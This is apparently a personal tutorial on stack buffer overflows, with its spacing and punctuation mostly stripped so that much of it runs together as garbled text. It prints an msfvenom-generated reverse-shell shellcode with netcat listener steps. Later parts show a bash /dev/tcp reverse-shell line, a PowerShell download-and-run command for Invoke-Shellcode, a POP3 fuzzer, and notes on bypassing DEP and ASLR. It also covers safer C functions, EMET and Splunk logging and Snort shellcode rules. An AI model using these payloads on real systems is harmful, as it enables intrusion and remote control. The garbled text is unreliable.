msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
vuln_read(cli_fd)charmessage[]=HellotheretrytoPwnmeifyourea1773H4x0rlolznwrite(cli_fdmessagestrlen(message))close(cli_fd)sleep(1)return0
BasicsofFuzzingLetrsquosgetonethingoutofthewayIambynomeansamasteroffuzzingLikethisentiredocumentIonlywritetore-enforcemyownpersonallearningandmaybehaveausefulreferenceformyselforfriendslaterPerOWASPldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoThereare3generictypesoffuzzers
ApplicationFuzzers ProtocolFuzzers FileFormattingFuzzers
TolearnthecoreconceptsIstartedbytakingapurestapproachandlearningthebasicsoffuzzingwithmanualcommand-lineandalittlebitofpythonAllyouneedisthegeneralcuriosityofldquoWhathappenswhenItypethisinrdquoHoweverwhendealingwithlargebuffersorvariouscombinationandpermutationyoumayneedtowritesomeforandwhileloopsinascriptinglanguageorusedpre-computedwellknownbadparameterlistslikethosefoundherehttpsgithubcomdanielmiesslerSecListstreemasterFuzzing
FuzzingforOverflows-GettheArsquosBrsquosandCrsquosAsimpleandwellknownpythonexamplecanbefoundfloatingaroundGithubandBlogstoexploitanoldPOP3serverOfcourseyouneedtoknowsomebasicsofthePOP3protocolcommandThebelowcodeisagoodexampleofgrowingavalueinbyte-sizebeyondtheallocatedmemorysizeThisexampledoesntfocusonfuzzingldquoWebapplicationrdquoresponsesbutinsteadfocusesonsimplebytesizebasedbufferoverflowEventuallytheapplicationcrasheswithasegmentationfaultwhen
FuzzerBuffergtApplicationBuffer
WersquolluseabunchofArsquosBrsquosandCrsquostolocatethespaceinmemorywehavewrittenintoYoucanpickwhatevervaluesyouwantbutstartingwritingoutafewwellknownHEXcodesmakesiteasyforanooblikemyselftoseewhendiggingintothestackandbufferduringdebuggingHereareacouplepiecesofPythonscriptthatcanbere-usedforvariousoccasionsusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((19216801110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()AnotherexamplemightbetogeneraterandomAlphaNumericvaluestothrowatyourapplicationargumentsThevalueofperformingthisofthismightdependonwhattypeofbehavioryourtryingtoinvokeimportsysfromrandomimportrandintsamplefromfuzzerimportFuzzerclassAlphaNumericFuzzer(Fuzzer)Afuzzerthatproducesunstructuredalphanumericoutputdef__init__(selfmin_lengthmax_length)super()__init__()self_min_length=min_lengthself_max_length=max_lengthself_alphabet=set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)propertydefmin_length(self)returnself_min_length
propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)
Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix
InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode
ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix
